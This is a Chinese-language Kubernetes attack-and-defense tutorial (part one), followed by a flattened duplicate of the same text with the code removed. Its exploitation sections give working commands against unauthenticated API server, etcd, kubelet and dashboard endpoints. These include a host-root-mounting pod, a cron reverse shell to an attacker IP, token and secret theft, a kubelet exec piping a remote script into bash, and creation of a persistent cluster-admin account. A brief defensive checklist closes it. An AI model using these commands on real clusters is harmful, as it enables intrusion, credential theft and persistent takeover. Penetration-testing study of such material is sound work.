K8s集群安全攻防(上)
字数 1546 2025-08-20 18:17:47

Kubernetes集群安全攻防指南(上)

一、Kubernetes基础概念

1. 容器(Container)

  • 轻量级操作系统级虚拟化技术
  • 使用namespace隔离不同运行环境
  • 通过镜像自包含软件运行环境
  • 体积小、启动快,实现开发到生产环境的一致性

2. Pod

  • Kubernetes管理的基本单位
  • 每个Pod可包含一个或多个紧密关联的容器
  • 共享PID、IPC、Network和UTS Namespace
  • 示例YAML定义:
apiVersion: v1
kind: Pod
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  containers:
  - name: nginx
    image: nginx
    ports:
    - containerPort: 80

3. Node

  • Pod实际运行的主机(物理机或虚拟机)
  • 每个Node至少运行:
    • Container Runtime(如docker/rkt)
    • Kubelet
    • Kube-proxy服务

4. Namespace

  • 资源和对象的抽象集合
  • 用于划分不同项目组或用户组
  • 默认namespace为"default"

5. Service

  • 应用服务的抽象
  • 通过labels提供负载均衡和服务发现
  • 示例YAML定义:
apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  ports:
  - port: 8078
    name: http
    targetPort: 80
    protocol: TCP
  selector:
    app: nginx

二、Kubernetes架构

1. 架构来源

  • 源自Google的Borg系统
  • 核心组件:
    • BorgMaster:集群大脑
    • Borglet:运行任务
    • Borgcfg:命令行工具
    • Scheduler:任务调度

2. Kubernetes核心组件

组件 功能描述
etcd 保存整个集群状态
apiserver 资源操作唯一入口,提供认证授权等机制
controller manager 维护集群状态(故障检测、自动扩展等)
scheduler 资源调度,按策略分配Pod到机器
kubelet 维护容器生命周期,管理Volume和网络
Container runtime 镜像管理及Pod/容器运行
kube-proxy 为Service提供内部服务发现和负载均衡

3. 关键组件默认端口

(原文中未明确列出具体端口,需补充)

三、渗透测试路径

1. 信息收集

环境检测

env | grep KUBERNETES
ls -al /  # 检查.dockerenv文件存在

内核版本

kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'

2. Token利用

Service Account Token

cat /var/run/secrets/kubernetes.io/serviceaccount/token

Secrets泄露

./cdk run k8s-secret-dump auto

3. 安全策略检查

./cdk run k8s-psp-dump auto

4. 网络发现

  • Flannel默认网络:10.244.0.0/16
  • Calico默认网络:192.168.0.0/16

四、常见漏洞利用

1. API Server未授权访问

检测方法

访问:

http://ip:port/
https://ip:6443/

利用方法

  1. 获取节点信息:
kubectl -s ip:port get nodes
  1. 创建特权Pod(挂载宿主机根目录):
apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
  1. 通过挂载目录写入计划任务反弹shell:
echo -e "* * * * * root bash -i >& /dev/tcp/攻击者IP/4444 0>&1\n" >> /mnt/etc/crontab

2. ETCD未授权访问

检测接口

https://IP:2379/version
https://IP:2379/v2/keys

利用方法

  1. 设置API版本:
export ETCDCTL_API=3
  1. 查看集群Secret:
etcdctl get / --prefix --keys-only | grep /secrets/
  1. 读取敏感信息:
etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c

3. Kubelet未授权访问

检测方法

访问:

https://ip:10250/pods

利用方法

  1. 执行命令:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"
  1. 获取Token:
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
  1. 反弹shell:
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"

4. Dashboard未授权访问

利用方法

  1. 通过Web UI创建特权Pod(同上API Server利用方法)
  2. 挂载宿主机目录写入计划任务

5. kube-proxy配置错误

利用方法

  1. 启动代理:
kubectl proxy --port=8080 --address=192.168.17.144 --api-prefix=/ --disable-filter=true
  1. 通过代理访问API:
kubectl -s 192.168.17.144:8080 get nodes

五、权限提升与持久化

1. Dashboard权限配置

  1. 创建管理员用户:
kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard
  1. 绑定集群管理员角色:
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin
  1. 获取Token:
kubectl get sa,secrets -n kubernetes-dashboard
kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll
  1. 生成kubeconfig文件:
DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token} | base64 -d)
kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf

六、防御建议

  1. 启用API Server认证授权
  2. 限制ETCD访问(启用TLS和客户端证书认证)
  3. 配置Kubelet认证
  4. 关闭Dashboard的skip-login功能
  5. 合理配置Pod Security Policies
  6. 监控异常API请求和容器行为
  7. 定期轮换Service Account Token

(注:下篇将包含容器逃逸、横向移动、权限维持等高级技巧)

Kubernetes集群安全攻防指南(上) 一、Kubernetes基础概念 1. 容器(Container) 轻量级操作系统级虚拟化技术 使用namespace隔离不同运行环境 通过镜像自包含软件运行环境 体积小、启动快,实现开发到生产环境的一致性 2. Pod Kubernetes管理的基本单位 每个Pod可包含一个或多个紧密关联的容器 共享PID、IPC、Network和UTS Namespace 示例YAML定义: 3. Node Pod实际运行的主机(物理机或虚拟机) 每个Node至少运行: Container Runtime(如docker/rkt) Kubelet Kube-proxy服务 4. Namespace 资源和对象的抽象集合 用于划分不同项目组或用户组 默认namespace为"default" 5. Service 应用服务的抽象 通过labels提供负载均衡和服务发现 示例YAML定义: 二、Kubernetes架构 1. 架构来源 源自Google的Borg系统 核心组件: BorgMaster:集群大脑 Borglet:运行任务 Borgcfg:命令行工具 Scheduler:任务调度 2. Kubernetes核心组件 | 组件 | 功能描述 | |------|----------| | etcd | 保存整个集群状态 | | apiserver | 资源操作唯一入口,提供认证授权等机制 | | controller manager | 维护集群状态(故障检测、自动扩展等) | | scheduler | 资源调度,按策略分配Pod到机器 | | kubelet | 维护容器生命周期,管理Volume和网络 | | Container runtime | 镜像管理及Pod/容器运行 | | kube-proxy | 为Service提供内部服务发现和负载均衡 | 3. 关键组件默认端口 (原文中未明确列出具体端口,需补充) 三、渗透测试路径 1. 信息收集 环境检测 内核版本 2. Token利用 Service Account Token Secrets泄露 3. 安全策略检查 4. 网络发现 Flannel默认网络:10.244.0.0/16 Calico默认网络:192.168.0.0/16 四、常见漏洞利用 1. API Server未授权访问 检测方法 访问: 利用方法 获取节点信息: 创建特权Pod(挂载宿主机根目录): 通过挂载目录写入计划任务反弹shell: 2. ETCD未授权访问 检测接口 利用方法 设置API版本: 查看集群Secret: 读取敏感信息: 3. Kubelet未授权访问 检测方法 访问: 利用方法 执行命令: 获取Token: 反弹shell: 4. Dashboard未授权访问 利用方法 通过Web UI创建特权Pod(同上API Server利用方法) 挂载宿主机目录写入计划任务 5. kube-proxy配置错误 利用方法 启动代理: 通过代理访问API: 五、权限提升与持久化 1. Dashboard权限配置 创建管理员用户: 绑定集群管理员角色: 获取Token: 生成kubeconfig文件: 六、防御建议 启用API Server认证授权 限制ETCD访问(启用TLS和客户端证书认证) 配置Kubelet认证 关闭Dashboard的skip-login功能 合理配置Pod Security Policies 监控异常API请求和容器行为 定期轮换Service Account Token (注:下篇将包含容器逃逸、横向移动、权限维持等高级技巧)